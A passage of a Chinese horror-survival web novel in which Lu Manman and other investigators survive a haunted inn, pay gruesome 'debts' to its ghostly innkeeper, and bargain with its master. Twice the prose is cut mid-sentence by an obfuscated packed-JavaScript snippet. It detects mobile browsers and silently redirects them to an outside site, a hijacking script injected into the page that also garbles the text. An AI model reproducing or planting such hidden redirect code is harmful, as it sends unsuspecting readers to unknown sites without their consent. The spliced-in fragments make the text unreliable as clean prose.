想到此,陆漫漫坐直了身体,命令道:“松开。” “欸??” “我让你松手。” 卓卿越瞪大眼,下意识听话松开了手。 陆漫漫起身,跨过卓卿越,慢悠悠穿上拖鞋,趿拉着朝门口走去。 也许是拖鞋趿拉声,门口的敲门声停顿两秒后变得更猛烈了,惊得卓卿越一个虎跃,蹿到了陆漫漫边上。 陆漫漫想了下对方刚建议的爬窗和装睡,觉得这主意在她已经起来的情况下降到了非常不靠谱的程度,遂没有赶他,只拒绝了他挡在自己身前的举动。 在走到门口后,陆漫漫垂眸看着因为猛烈敲门声已经歪斜的门栓,将衣领里的钥匙提到了衣服外面,然后懒散道:“敲什么敲,让不让人睡了?” 在门栓将被震落前,陆漫漫伸手拉开了它。 一张扭曲的只能勉强分辨五官的恶鬼面孔怒目圆睁,暴露于外的利齿滴落者黏黄的涎水,来诡正要不由分说上来啃一口,却在目光触及到陆漫漫胸口的钥匙后猛地憋了回去。 恶鬼面孔瞬间转变为人形,瞧着是颇为憨厚的微胖男人,除了眼睛漆黑肤色惨白,再看不出刚刚的恶鬼模样。 男人不自觉地搓手,眯起眼露出讨好的笑容,谄媚道:“哎呀,是贵客啊,你们怎么住这里来了。” 陆漫漫笑了:“这话不是我该问你?来住个店连个接待都没有,害我只能随便住住这普通的客房。我寻思着我也够好说话的了,谁想才刚眯着差点连床都被人掀了。” “哪敢哪敢。都是小人的错,两位这边请,我这就带你们去客院,为表赔罪,二位接下来的饮食起居我们客栈都包了。” “好吧,谁让我好说话呢。带路吧。” 5. 诡栈零伍 卓卿越人都傻了,别看他逼逼叨叨还卖队友,但那些消息其实算不得什么重要消息。好歹是成年人,就算被突然的感情冲昏了头脑,但还不至于到上来就要为对方送命的程度。 他只是觉得第一晚按部就班,不瞎晃作死,再怎么倒霉也就缺个胳膊断个腿,凭他的能力,总归死不了。既然如此,当然要好好珍惜这段缘,尽量迁就对方了。直到他觉得对方真的爱作死其后也不听劝告,无可救药,那才会惋惜地离开。 可这会儿他还处于前期的迁就观察阶段呢,怎么有种起猛了的感觉? 卓卿越形容不出来,只觉得此刻大脑异常地兴奋,要不是那个诡怪还在前头,他都能立马给陆漫漫跪下来。 微胖男人——许掌柜微微弯着腰走在前头,一路从楼梯下来后,直接往屋子左边拐了进去。 这时候陆漫漫才看到屋子边上看着是小树林的地方有一条蜿蜒的石板小路,因为夜黑加上树林茂盛,所以他们过来的时候才没注意到。 在走进石板路之前,许掌柜微微鞠躬说了句稍等,伸手向前一招,一盏绿莹莹的纸扎骷髅灯笼从小路里面飘了出来,稳稳停在了陆漫漫的前方。 “这是……” “引路灯,它已经认了您为主,客栈范围内它都会主动为您照明。其他东西看到,自然会知道您是贵客,只要您不挑衅,就不会主动打扰您。” “可我们有两人。” 许掌柜笑了笑,说道:“只有第一位客人才能居住客院,后面那位,如果不算您的家眷,小人就还是把他安排回客房。当然,吃住也都是免的。” 陆漫漫挑眉,看样子客院钥匙出现后,掌柜是有收到消息的,不过对方估计没想到人直接在二楼住下了。 她笃定道:“所以只要带着钥匙,可以直接进入客院。” “您说的是,只要它们看到钥匙,就不会乱来。当然,在夜晚十二点到凌晨四点之间,就说不准了。如果您灯笼和钥匙都没带,要么就找店员为您带路,要么就只能在光亮足够的前提下通过另一侧的拱桥,注意千万不要回头。但若在桥上逗留时间过久,下桥后也会迷失在石林中,只能靠运气找回回去的通道。” 陆漫漫嗯了声,说道:“我知道了。” “那这位客人?” “和我一起。” “好的。” 贵客的权限比陆漫漫想象的大,许掌柜几乎是没有任何掩饰地表明前往客院的路有诡怪潜伏,并直截了当告诉了她相应的死亡规则。 如此一来,纹身男队里那两人死亡的原因就很明显了——光亮影响,或者回头了。 不奇怪,初次查探,这里又不同于前院,黑灯瞎火,他们小心谨慎地移动自然就慢,必然无法顺利到达后院。回头更是防不胜防。 加上进入诡栈后不见踪影完全没给信息的店员…… 这就是高危的诡域吗? 石板路走进去不久,就进入了水上走廊,边上黑沉沉一片就是先前纹身男说的那片水池。拱桥就在另一侧。 机会难得,贵客的身份加上掌柜这会儿的“愧疚”,陆漫漫自然是抓紧一切机会询问信息。 “许掌柜先前不在店内,是去了哪里?” 许掌柜尴尬笑笑:“真的对不住,主人之前召唤,小人想着这都深更半夜了,恐怕也没客人,这才门都没关就暂时离开了。” 居然是“主人”而不是“老板”,而且还用了“召唤”,上下属关系是完全支配型关系吗? “你们主人也住客栈?不知道我有没有荣幸可以拜访一下?” “后院一共四所小院,梅兰竹菊,主人就住在兰苑。梅苑和菊苑,住着其他的客人。不过您如果要登门拜访,一定要先告诉小人,小人会替您转告。等征得对方同意,您才可以上门拜访。主人也是一样。” 陆漫漫心里呵了一声。 真是好样的,虽然许掌柜知无不言,但像这样关键的信息,却非问不说,糟老头子坏得很! 总之目前来看,诡栈内的一切还是遵循基本法的,看来这家主人很讲究规矩,普通店员不好说,凡事先找掌柜的绝对没错! 陆漫漫皮笑肉不笑:“你们客栈生意倒是挺好的,就是两极化有点严重。客院基本满了,大通铺也住着很多人,普通客房却没什么人居住。” “哎,客栈嘛,都有淡季旺季,一阵一阵的。”许掌柜不肯说具体的客户信息,但大致却能提一下,“现在客院和客房住的都是老客户了。虽然像今天这样没礼貌的没几个,但偶尔是会有这样大批量投宿的人。这些人有的就长住下来,直到住不起客房、住不起通铺,然后离开。好了,到了,这就是竹苑,不知道客人还有什么吩咐吗?” 从水上长廊离开后绕过一片花园假山,就到了竹苑。 竹苑的门匾上写着龙飞凤舞的名字,檐下两侧挂着两盏红灯笼。远远可以看见两侧的兰苑和菊苑,除了门口两侧的植物不同,大门都是相同的风格。显然整个后院比前院大了许多。 陆漫漫用钥匙开锁,说道:“今天不需要了,不过明日你帮我询问一下其他三个客院的主人,就说我有意拜访。” “好的,小人会为您转达。如果您有什么吩咐,可以摇动堂屋内的铃铛,会有店员前来。”许掌柜逐步退入黑暗中,不带一点脚步声地离去了。 陆漫漫推门,绕过门口的影壁,穿过院子,进入正堂。 果然,客院比她想象的大,光是一个堂屋,就比得上客栈大厅了,左侧是餐房,右侧是茶室,再往后才是居住的卧室。许掌柜说的铃铛就放在正屋最中心的桌案上。 除了卧室,还有书房。两侧的房屋有给仆从下人居住的侧屋,有柴房也有单独的小厨房,小厨房内甚至放满了新鲜的蔬果肉鱼。整个院子洁净地和前面那明显破败的客栈宛如天上地下。 沿路都有灯笼挂着,骷髅灯更是全程飘在陆漫漫前方,直到走到卧室,陆漫漫试探地让它待在门口,它这才悬挂在卧室前,不动了。 现在已经很晚了,之前生物钟一直很准的陆漫漫眼皮都开始下沉,干脆直接脱鞋上床睡觉。 而先前一直沉默跟在陆漫漫边上、哪怕可能被带回客房也没有吭声的卓卿越,直到这会儿两人单独在安全的密闭空间,才终于舒了口气,敢开口说话。 一张嘴,就是一顿夸夸。 “漫漫姐你也太棒了吧!你知道你之前散漫地拖着拖鞋淡定地开门的时候有多帅气吗?!那么——吓人一个鬼头就怼在门前欸!漫漫姐你眼皮都不眨一下!而且不动声色就套了好多话!天哪,我喜欢的姐姐也太聪明太优秀了!” 陆漫漫……脸蛋发红。 从小到大,陆漫漫身边的人比她优秀的太多了。对于学生而言,优秀就体现在成绩上,而陆漫漫成绩只能说稳定保持在上游,比起亲朋中个别尖端学霸,非常普通。所以历来得到的夸奖就是“懂事”,从来没人说她“聪明”或者“厉害”。 就连江随尹,即便说过“成绩好不代表脑子好”、也因为一起玩过密室逃脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062114|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧本杀之类推理解密的游戏说过她“逻辑分析还不赖”的话,但语气普通,更像随口一提,根本没办法让人往心里去。 而之前卓卿越说的她厉害,一来对方并没有发自内心觉得是她来自本身智慧的厉害,二来当时陆漫漫尚还对情况摸不着头脑,两人都不走心。 直到此刻,危机过去,还得到意想不到的进展,更加细节的夸奖就显得那么真诚动人。 陆漫漫从不知道,她原来是喜欢别人夸奖她的,喜欢有人的目光只追逐她一个人。哪怕有人比她学习更好、特长兴趣更棒,哪怕她只是一个非常普通的挣扎在温饱线上还屁事贼多的人。 她侧过身,说道:“熄灯睡觉。或者你出去睡侧屋,现在地方大了,不用挤一起。” 卓卿越猛摇头:“不不不,我一个人怕黑。这床大,我睡床尾。我睡觉很乖的,不打呼也不翻身!” 说完,生怕陆漫漫拒绝,迅速吹灭桌上的灯,然后一骨碌爬上床缩在了床沿。在陆漫漫冷静下来昏昏欲睡的时候,还是憋不住强调一句:“姐姐你真的超级棒,我好喜欢你啊。” “……闭嘴,睡觉!” “噢!但我必须再说一句,我比之前更喜欢姐姐一点了。” “不想睡就滚出去。” “嘿嘿,这回真的不说了!” 陆漫漫闭眼。 臭小鬼! 竹苑岁月静好,客房小楼却不平静。 早在一号房被敲响的时候,根本没有睡着的其他人就听到了动静。离得近的三四号房更是早在许掌柜上楼的时候就察觉到了端倪。 他们听着那敲门声诡异地以稳定的频率敲了四下,而后重复,重复……越来越急促。 蒋梦凡轻声道:“卓卿越不会第一晚就交代了吧?” 何峰已经坐起了身:“我去看看。” “队长!别忘了我们最主要的任务。说实在话,国家队的名字也就听着好听,但分队实际都只是探子而已,咱们还是众所周知比较弱的小队。这个诡域比我们想象的还危险,通常比较安全的第一夜,上来就折了三个人。我们还是稳稳度过这三天的好。” “你之前不是还说想尝试魅惑一下诡域boss?既然畏手畏脚就早点放弃这样的想法。还是像往常那样,魅惑一个实力一般相对重要的诡怪套取情报。” 蒋梦凡神色变换,而后松了口:“我们先看看情况。” “自然。” 两人凑到门前,将门扒拉开一条缝。由于客房处于同一平面,何峰打了个手势,仗着夜黑风高,直接探出小半个脑袋。 几乎眼神刚扫过去,就感觉到一号门前猛然探过来的恶意。 何峰猛地缩头,关上门,冲蒋梦凡摇了摇头,苦笑。 这已经不是他愿不愿意帮的问题了,只一眼他就知道那个诡怪不是他可以匹敌的存在,他可以肯定他刚刚探头的举动被对方发现了。 蒋梦凡脸色也变得苍白起来,说道:“会是boss吗?” “不知道。” “不管了,他如果过来,我就试着魅惑他,只是一时半会,效果不会太好。” “先看看,三号房四号房的人都不是吃醋的。” 就在外面开始砸门的时候,他们听到,一号房门被人毫无顾忌地用力拉开了。紧接着,整栋楼陷入了死一样的寂静。 像是漫长又短暂的时间过去,一排脚步声从楼梯响起,往下,而后消失。 九号房纹身男摇摇头:“他们完了。” 6. 诡栈零陆 三号房。 冒飞扬撅着屁股凑在门边看。客房的窗户是用纸糊上的,总归有那么些破洞的地方,不需要她额外搞破坏。 “这门瞧着可挡不住啊。”冒飞扬边看边评价,为了肆无忌惮地说话直接开了个结界诡器,“哟哟哟,变身了变身了,还行嘛,至少还有个人样子。不过这个角度都能看到,看起来膨胀了好多啊!” “你是不是闲着没事做?没听到十三分队说是高危诡域?就这么浪费你的魂力!” “这种小玩意儿也就这时候能派上用场了,真用来防御普通小头目一巴掌就拍碎了。我不用还拿着它干嘛?喔喔!门要被砸开了!天哪,你听到没,门从里面打开了!那个小姐姐是还拎不着头脑吗这么莽!” “闭嘴!很吵!” “恩?怎么回事?突然起雾了,完全看不清发生了什么?也没动静了。” 秦业这时候才赏脸走了过来,蹙眉往外看,神色慎重。 “这个诡域不太对,我们应该是忽略了什么东西。Boss就算很早就出现也不会暴露,这应该只是个小头目。三天生存任务相当普遍,第一天就死人……尤其是进入副本已经是深夜的时候,实在有些过头了。” 冒飞扬神色也正经了几分,说道:“你的意思是碰到了无解诡域?” 无解诡域,顾名思义,几乎无解,探查员根本不知道什么时候就踩了坑。诡域内永远会给人留下生机,除了无解诡域——老调查员们都知道并都这么认为,直到有人从无解诡域中逃出。 经那位调查员事后报告,无解诡域并非真的无解,而是需要更细致的观察,去发现可能被隐藏的线索。 至此,诡域留有生机一事再无疑问。 但由于此类诡域百死一生,所以依旧以无解命名,表明其超规格的危险。诡域难度从高到低依次为——无解、高危、中危、低危。 “别玩了,咱们摊上事了,按部就班只想着苟活到结束只会死路一条。” 房门开合的声音再次响起。 冒飞扬再次往外看去,之前弥漫的黑雾消失了,诡怪变成了普通的微微富态的中年男人,带着诡(谄)异(媚)的笑容带着一号房不声不响的两人朝下走去。 “可惜了,这个小姐姐那么淡定,我还挺看好她的。” “不过是没反应过来而已,毕竟没见到血。这样的人你又不是没见到过。” “是有,但我感觉她不太一样,她好像是真的不怕。那些人都是抱着‘天选之子’玩的心态来的,一出事就开始哭爹喊娘,她……感觉好像很生气?算了,也不知道明天还能不能再见到。” “想别人前先想想自己吧。”秦业说,“我有预感,我们已经违背规则了,接下来就是我们。” 冒飞扬歪头:“那就直接开门吧。很明显这个门是一定会被破的,始终不开门诡怪就会变身,那时候恐怕就不得不打了。” 所有人都没有想去后侧窗户查看的想法,否则他们就会发现,打不开的窗户那只能从破洞中看出去的无法消散的黑暗中,此刻有绿色在起起伏伏,映出浅淡的身影。 在大部分人以为只有一号倒霉的时候,脚步声再次响起,停在了三号的门口。 “咚咚咚——” 在最后一下落下前,冒飞扬主动打开了门。 尚还维持着人类外表的许掌柜只是表情愠怒,倒是还没有开始变化。 冒飞扬笑眯眯地问道:“请问有事情吗?” 两人识趣开门的举动并没有得到许掌柜的好脸色,他瓮声瓮气道:“你们非法闯入客栈,还好意思问我?!” 两人都没明白许掌柜话里的意思,冒飞扬纯粹是下意识地反问道:“那要多少钱?” 听到“钱”的字眼,许掌柜神色好看了些,说道:“像你们这样深夜来访的迷途的客人,估计也没什么钱,以物抵物就行,不过我得先查看一下客房的状态,是不是又被你们破坏过。如果有损坏,是要加倍赔偿的!” 歪打正着,背着手早就拿出各自攻击诡器的两人都有点傻眼。冒飞扬迷迷糊糊道:“啊,那你检查吧。” 和一号房几乎无损相差不大,三号房的家具也都无损,除了窗户纸残了点,被子潮了点。 许掌柜掏出纸笔,记录道:“三号房,故意损坏窗户,故意糟蹋被子,随意取用大堂油灯两盏,记账十两。” “欸?可……” 秦业拽了一下冒飞扬,将衣服上的胸针取了下来,递给许掌柜:“这个可以吗?纯金的。” 许掌柜态度顿时一百八十度转变,露出了官方营业微笑,点头道:“当然可以,足够两位继续住三天了,住宿期间三餐全免,不过菜色不能挑选,如果需要加菜还需要额外支付。对了,这间房有些破败,一号房状态很好,两人需要换房间吗?” “一号房的人怎么了?” “客人,如果不需要的话,我就不打扰你休息了。” 秦业说:“换,我们去一号房。” “好的呢,二位这边请。” 许掌柜领着两人来到一号房,进门时,秦业仔细看了看,之前砸门声那么大,房门却没有任何破损,联想到内栓的房门结构,可以确定至少状态很好的一号房安全度是很高的。 “可以问一下这门能锁吗?”秦业问。 “可以是可以,要锁头的话……” 秦业说:“把你项链拿出来。” 冒飞扬:“诶?!这可是我从小戴到大的金花生!” “给他。” 冒飞扬不情不愿,到底还是伸手取下项链,依依不舍地递给了许掌柜。 许掌柜笑眯眯收下,也不知道怎么鼓捣的,围着门一通操作,木门上就上了一个看着很不牢靠的锁扣。 “这是锁,内外都可以上锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062115|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这是钥匙,钥匙如果丢失需要赔偿哦。” “好的。” 冒飞扬气哼哼走到床边,说道:“没见过过诡域还要贴家当的!我们运气好,还带着点东西,其他人有什么以物抵物?” “人命,不也是一种物品吗?”秦业淡淡道,“睡吧,第一关有惊无险,今晚我们没事了。” 交得出抵押物的确实在少数,掌柜的除了挨着玉金银铜的东西,其他一概不要,此四物价值递减。当然,这样的后续赔偿总是多补不退。若不是陆漫漫头一个发现,就凭她那个廉价的银器,加上卓卿越的耳钉,也只能抵住客房而已无任何优惠。 除了许掌柜开门交谈时会有黑雾,其他时候是没有的,听到三号房非但没事还去了一号房,其他房心里也有数了,不再抵抗。 然而随着房间越往后,除了四号房意外的基本无损,破损的需要“赔偿”的东西也就越多。八号房马尾女两人抵掉身上所有东西依旧远远不够后,暴怒朝着许掌柜主动攻击,结果全军覆没,只留下一滩血,渗入暗沉的地板中。 许掌柜随手抹抹嘴巴,还未擦拭干净的血痕给了纹身男灵感,九号房纹身男直接献祭小矮子,换来住通铺并以工抵债的机会。 结果除了现在的一号房获取了三日食宿,四号房抉择后选择了三日通铺加免费食物外,十三队剩余四人均住到了通铺。 通铺诸人按照付款、欠债多少分到三间通铺,无法挑选。 天刚亮的时候,住在三号通铺一夜都没办法好好休息的探查员们就被叫了起来,开始打工还债。 客栈大厅消失的大门再度打开,露出外面一片浓雾,不断有人进入客栈,购买早餐,或堂食或带走。三号通铺负债者肖诚、汪实学和许富贵(纹身男)的主要任务就是跑堂。 “你们几个负债太多,若是第一天展现不了你们的价值,那就还是以身抵债。”许掌柜哼道,“今天直到打烊,每个人的营业额必须达到二十两,或者接待两次包间客人。当然,打扫清理的活也不能剩下,算是利息,做不好倒扣钱,听明白了没有!” 三个人苦哈哈道:“明白了。” 这会儿三个人还没意识到事情的严重性,毕竟昨晚光是“赔偿”就动辄几十两甚至上百两了。 在接待一位客人发现对方买个馒头也就两文钱……而一千文才抵得上一两后,三个人都傻了。 许富贵昨晚好说歹说,加上态度殷勤,主动制服小矮子献祭,才让许掌柜留下他这个高负债者一条命,这也多亏许掌柜在八号房打过一番牙祭。如果其他两人完不成任务,可能也就少块肉,他是真的会直接没命。 他根本来不及想太多,开始拼命抢客,并且各种安利试图让客人多买一些东西,收效甚微,但聊胜于无。 其他二人本来就是一个小队的成员,不会互相别苗头,干脆把机会让给他,凑到角落里商量起来。 7. 诡栈零柒 和蒋梦凡身为女士身上还带着点饰品不同,汪实学和肖诚真的浑身上下屁都没有。或者说为了方便行动避免暴露,身上不带乱七八糟的东西才是探查员的常态。 原本住在7号房的他们没比8号房9号房好到哪里去,结算的时候直接算到六十两的赔偿。 两人现在看着没什么问题,实际上都少了点零件。 两人的耳朵都已经抵了债,但加起来,也就勉强算上了十两,肖诚更是贡献了左眼,也许恰好戳中许掌柜的喜好,直接抵了十两。现在两人负债四十两。 之所以没有选择胳膊腿这样的大件努力尽量减少债务,是他们担心之后有变故,不方便行动。 汪实学:“早饭的营业额少,午饭晚饭应该算大头,一桌客人起码也有大几十钱甚至一二两。但实际上上菜也是我们的工作,店员只会把菜放在出菜口。这就需要我们自己记住菜色对应的客人,频繁跑动,灵活的时间管理和强悍的记忆才可以达成。” “分工吧。”肖诚说,“你脑子好,你招待,我跑菜。” “就怕掌柜不承认,将营业额按在一个人身上。” “本来负债算的就是我们两个人,就算算在你一个人身上,负债总额还是下调了。也别想太多,大不了我再剁几根手指。试一下吧。要是去问的话,总感觉直接得少两个零件。” “或者……我们可以直接瞄准包间客人。” “那早饭也少有人包间吧?” 两个人嘀咕着,那边许富贵就出错了。 就如汪实学所说,既要招待又要跑菜,偏偏不靠笔头记录,很容易混弄。许富贵就把三桌要的肉包和五桌的素包拿反了。 三桌客人拍案而起:“小二呢!我要的是肉包!你给我上的什么东西!” “对不起对不起,是我拿错了,我这就给你换。”许富贵一头的大汗,脑子里糊糊的,只感觉肉包馒头素包肉汤菜汤各种塞满了脑袋。 “换什么换!人家都咬过了!” 许富贵咬牙,想着大不了这一单继续加他负债,反正只说营业额满多少,没说不能算点错赔偿的。 “这样吧,这份本店给您免了,算送的,我这就给您加肉包。” “送?呵,你浪费了我时间和精力,这样就算完了?”客人眯着眼上下打量,突然伸手抓住了许富贵,“我看,你自己来赔吧。” 许富贵大惊,正要后退,却发现身后被五号桌上错菜的客人堵住了。 两人一前一后,直接摁住人各自撕扯下了他的一根手指。 完事还不算,许富贵被黑着脸不断冲两人道歉的许掌柜直接拖走了。 肖诚干巴巴道:“这些客人……哦不,客诡,原来不是凑数的npc啊?” 汪实学沉着脸道:“宁可少接待几个,也不能忙中出错。否则会遭受双倍惩罚。” “许富贵不是有诡器吗?他怎么不用?” “恐怕不是他不想用。现在我们的身份是客栈的奴仆,哪有奴仆对着主人和客人动手的。”汪实学说,“走了,不要贪多。我们接待不过来有诡店员,走稳妥路线。先看看早上能有多少营业额。” “好!” 他们这边被任务牵制,何峰两人也没好到哪里去。 他们只赔偿完后抵了一晚住宿和一顿早饭,早起和汪实学二人沟通后就去找了许掌柜,表示想以工代宿。总之先赚完接下来的住宿,并保证每天有一顿饱饭。 对他们的请求,许掌柜答应地很爽快,条件也说的很明白。 “客房的话两晚加六餐六十两营业额,或者六次包间客人。一号通铺四十两,四次。二号通铺二十两,两次。三号通铺十两,一次。” 蒋梦凡惊道:“为什么这么多!” 许掌柜不悦道:“这是总营业额,又不是你们的分成,已经很给你们优惠了。” 何峰猛然意识到什么,问道:“如果想离开的时候身上还有负债……” “有负债的人怎么可能离开客栈?”许掌柜抚掌而笑,“当然要还清了才能走。” 直到离开,何峰的脸都是黑的。 被文字游戏了。肖诚和汪实学负债四十两。而从早饭的金额来看,普通住宿应该也就只要几两银子。也就是说六十两的营业额,只能抵到几两的实债。再算上他们这两天赊住的通铺和食物…… 就算三天后他们还活着,恐怕也无法离开这里了。 别说更深度地探索诡域,眼下,活着才是他们最应该解决的问题。 “梦凡,如果到明天还是无法改善,你就直接魅惑掌柜的。至少肖诚和汪实学不能再栽了。” 蒋梦凡咬唇:“我知道了。” 无债在身的叔胖组和冒飞扬二人,则开始探索诡域。但目前也只能在前院范围内移动。湖的对面都笼罩在白雾当中,两队都谨慎地没有前行。 早早入住竹苑的陆漫漫却是难得地睡了一个懒觉。 在起床抑郁了一番今天旷班又得被扣工资后,自暴自弃地又躺了会儿,才被殷勤做早饭的卓卿越叫起。 陆漫漫:“……” 感觉自己有点太散漫了,这是在很危险的地方吧?她昨天真就沾枕睡了,还睡得那么死,连同床的人起来都没察觉! 陆漫漫板着脸,说道,“不是可以让掌柜的送餐,你还忙活什么?” “反正我也没什么事情做。漫漫姐你要洗漱吗?我给你去倒水。” 才想起自己刚起床一脸油还挂着眼屎的陆漫漫:“……你出去。” “好嘞!” 卓卿越做饭很有一手,很清淡的小粥馒头,但火候非常好,这还是在灶台那种火候难以掌握的地方,不难想平日里的厨艺肯定更好。 稳妥来看,既然安全了,那么安安稳稳 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现在陆漫漫所居所用,皆是客栈所有物,但空着手上门,实在不太礼貌。陆漫漫想了想,让卓卿越去做点甜品来,至少看着上点心。 等小酥饼做好装盒,陆漫漫却没让卓卿越继续跟着了。 “你带上钥匙,去前面打探一下情况。” 一直言听计从的卓卿越这会儿却表示了反对:“为什么啊?前面又没有什么危险。这个主人一看就很可疑,有什么事我至少还能帮你挡一下呢。” “挡什么挡,串葫芦吗?让你去你就去。还有,跟冒飞扬说一声,我们的事情不用隐瞒,然后让他们想办法查看一下二号房和五号房的情况。” “不跟队长讲吗?” 陆漫漫意味深长道:“你队长他们,恐怕都自顾不暇了。” 如果她猜得没错,客房越往后越破烂,国家队几人选的房间可不怎么好。 这件事其实说来也侥幸,她选择住在一号房自然不是艺高人胆大,固执或不想争抢。而是她觉得既然拿到了竹苑的钥匙,定然是有另外的住所的。之后她就想得比较多了。 万一被领去竹苑的时候,会有什么外在因素影响方向感呢?那只有在楼梯口的一号房是辨别方向最稳妥的地方。 此外,也有后面几间房破败的因素在。一路从一号走到八号,窗户的变化很细微,除了一号很完整,其他就窗户破损而言,逐渐增多容易被肉眼忽略,但并非不存在。 玩密室鬼屋的时候,她这样追根究底细想到每一处的观察力相当不必要且容易让场控抓狂,但真到了诡域,却是一把非常好的武器。 意识到自己一路的谨慎和观察获得了回报的陆漫漫……不可抑制地感觉到了兴奋。她已经很久没有这种热血澎湃的感觉了。 8. 诡栈零捌 肾上腺素的增加会让人感觉到兴奋,而增加的原因中就包含了情绪变化和应激反应。现代人之所以追求恐怖,就是因为恐怖能带来兴奋感。 陆漫漫亦是如此。 但恐怖却也是会产生免疫的,那种汗流浃背心脏狂跳的感觉,陆漫漫已经很久没有体验过了。她的生活中,也就剩下买买买的时候能感觉到一些单纯的快乐,如果这种快乐不那么费钱的话,就更好了。又或者是因为它费钱,所以才有额外不同的感觉。 陆漫漫不知道,如果她真的碰到了什么场面,或者在自己遭遇必死危机的时候,会不会当场绷不住直接崩溃发疯,但此刻,她选择遵从内心。 始终平静的眼眸如同燃起火簇,变得鲜活生动,卓卿越呆呆看着,只感觉整个人都要被那双眼睛吸进去。 卓卿越捂住胸口,听话地点头。 呜呜呜姐姐杀他! 兰苑紧靠竹苑,和竹苑的清幽不同,内里却是花团锦簇。明明陆漫漫敲门的时候还能听到主人的回应,但一路走来,却一人都没有见到。 直到绕过亭台花谢,陆漫漫才从池边水榭看见重重繁花掩盖的慵懒半躺在软塌上的身影。 对方穿着花色长袍,散着长发,靠在扶栏边,伸手往池内撒着鱼食,若池内不是凶狠地互相撕咬出血气的食人鱼,倒是一副难得的美人喂食图。 “冒昧打扰,也没有什么礼物,这是朋友自己做的一些甜食,希望老板不要嫌弃。” 对方直接将篮子一扬,细碎的鱼食尽皆倒下,这才回身,取过桌上的湿布,擦拭双手。 竟是一位俊美的男子。 若非男子右上侧脸皆是森森白骨,就这容貌,说是倾国倾城也不为过。陆漫漫眼里闪过一丝惊艳。 “许久没有人走到我面前了,礼物我收下了,坐下吧。”男人招招手,将陆漫漫手里的食盒放到桌上,懒散道,“你很不错,我允许你先提出自己的愿望,再给你任务。” 陆漫漫落座,说道:“我没有什么想要的,只是想和老板你聊聊。” “哦?荣华富贵,美貌身段,长生不老,你都不想要?” “通常来说,想要的越难得到的东西,代价也就越高,相比之下,我这样挺好的。” 男人嗤笑:“曾经也有人这么说过,不过他很贪心,因为他想要的不只是这些,而是想要能实现众多愿望的我。而最后,他生不如死,死了也不得安生。” “那我和这个人倒是有几分像,我也挺想要你的。” “哦?” 陆漫漫头铁道:“我想要你消失。恩,尸骨无存的那种。” 恩,老板虽貌美,但陆漫漫一心想他凉。 “噗哈哈哈哈哈。好啊,那这个就算你的愿望好了。”男人说,“如果你能完成我的任务,我就告诉你我的弱点。不过,一旦接受了我的任务,完不成,可是要受到惩罚的。趁我现在心情好,你可以回去再想想。别本来运气不错留下的小命,就这么随便玩丢了。” “任务是什么?” “你都想要我的命了,我自然也不会多客气。”男人说,“明天天黑前,找出其他两个客院逗留于此的全部真相。如果你失败了,你将从贵客沦为最底层的奴仆,永远无法离开这里。” 陆漫漫说:“你不许主动制造困难。” 男人不屑的哼了声:“我答应你。非但如此,客栈内所有仆从,都会给予你贵客的最高权限。” “成交。希望你不会反悔。” 男人嗤笑:“可笑,就算你知道弱点,我又有何可俱?” 这笔买卖看起来对老板来说是无本买卖,对陆漫漫来说并不划算。毕竟完成任务的奖励只是知道对方的弱点。但知道弱点却无击破弱点的本事,等于无用。而一旦失败,陆漫漫却要付出生命的代价。 更别说所谓“全部真相”,究竟包含到什么细致的方面,很难定论。 可强者就是有任性的本事,可以有渠道不必直面boss危机来得到弱点,反而是陆漫漫赚了才是。 上午两家并不接来访,陆漫漫直接让许掌柜过来,打听事情。 她才刚开口,许掌柜就表示了拒绝。 不知通过什么方式已经得到男人命令的许掌柜对陆漫漫的任务知情,一听她喊人就知道她想问什么,直接了当道:“贵客,就算您是我们这里尊贵的独一无二的贵客,但客院其他主人的事情小人是不能透露的。” 陆漫漫不意外,说道:“我不是想问你这些,我想问的是,在他们居住前后时间段,有哪些人是常住于此?包括客栈的雇员。” “二号房的琴师和五号房的画师。除此之外,就只有小人我了。” “跟我说说他们两个人的事情。” 作为权限比普通客院高的客人,许掌柜自然知无不言。 “两人的姓名小人不知,琴师自称湘乐,男性,面貌三十五些许,寻访而来,想寻主人提高琴技,不过至今未完成主人的任务,故而逗留。他偶尔卖艺,以此赚取食宿费用。” 陆漫漫蹙眉,谁知道这些人于她来说是属于无害的范畴还是有害的范畴。偏偏这回掌柜的叙述却不那么明确了。 “画师名文泊,男性,二十出头。误入此地,碰巧撞见主人,一眼惊艳,一直想为主人画像,主人始终不允,所以逗留。” “他们两住宿时间?” “湘乐已居住三月,文泊居住将近一月。”许掌柜说,“约莫十日前,两人都闭门不出了两日。” “那你呢?” “贵客放心,小人只忠于主人,与您的任务无关。” “这两人我应该可以随便拜访吧?” “您的权限比他们高。”许掌柜隐晦道,“两人饭点都喜欢在大堂用餐,因为观察不同客人会给他们带来艺术创作的灵感。” 懂了,就是她悄悄摸进屋里,只要有合理的借口,自己有本事全身而退,被发现也无所谓。 从后院滆湖往前看,客房小楼毫发毕现,可从小楼往后看,却只能看见雾茫茫一片。 冒飞扬摇了摇窗户,说道:“后窗还是卡死的,什么都看不到。要去吗,后院?说不定还能来个英雄救美。” “我们可没有更多东西赔偿了。”秦业说,“你没看见其他人都在打工赚钱。又没工资,少管闲事。而且你竟然觉得他们 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秦业:“所以我说亲·自·去·问!” “对哦。” 秦业:“……”心累。 